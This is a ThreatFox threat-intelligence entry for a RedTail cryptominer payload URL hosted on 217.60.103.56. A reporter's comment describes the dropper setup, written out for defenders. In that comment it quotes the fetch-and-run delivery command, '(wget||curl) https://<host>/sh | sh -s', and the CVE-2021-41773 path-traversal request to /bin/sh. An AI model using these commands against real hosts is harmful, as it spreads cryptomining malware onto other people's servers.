🤲🏼 NEW | abuse.ch Community Hub! Earn recognition 🏅 for the malware intelligence you share, climb the leaderboards 📈, and connect with like-minded contributors who share your hunting focus 🤝. Ready to unlock your profile? Go to the Community Hub →

ThreatFox IOC Database

You are viewing the ThreatFox database entry for url https://217.60.103.56/sh.

Database Entry

Add tag Delete this IOC  Report False Positive Export IOC (JSON)    Export IOC (CSV)
IOC ID:1982166
IOC: https://217.60.103.56/sh
IOC Type :url
Threat Type :payload_delivery
Malware: RedTail
Confidence Level : Confidence level is high (100%)
Is compromised? : False
ASN:AS209373 SWISSNET-AS
Country:- IR
First seen:2026-10-23 16:11:47 UTC
Last seen:2026-10-25 16:57:38 UTC
UUID:769d4daf-cef7-11f1-a74e-42010aa4000a
Reporter Fenestra
Reward 5 credits from ThreatFox
Tags:CVE-2021-41773 CVE-2026-109618 php2shell Redtail ssh telnet xmrig

Avatar
Fenestra
RedTail cryptominer (XMRig-based; some AV label it Prometei) staged-dropper infrastructure seen on Fenestra honeypots Sep-Oct 2026. Delivery: scp -s -i key.ppk dlr@<host>:sh, falling back to (wget||curl) https://<host>/sh | sh -s <vector>. Vector tags seen: telnet, ssh, apache (CVE-2021-41773 POST /cgi-bin/../../bin/sh, UA libredtail-http), php2shell (CVE-2026-109618). 217.60.102.5 active Oct 2026 incl. PHP2Shell exploitation; 217.60.103.56 Sep-early Oct; 217.60.195.113 early Sep. All three leased via Gold IP L.L.C-FZ.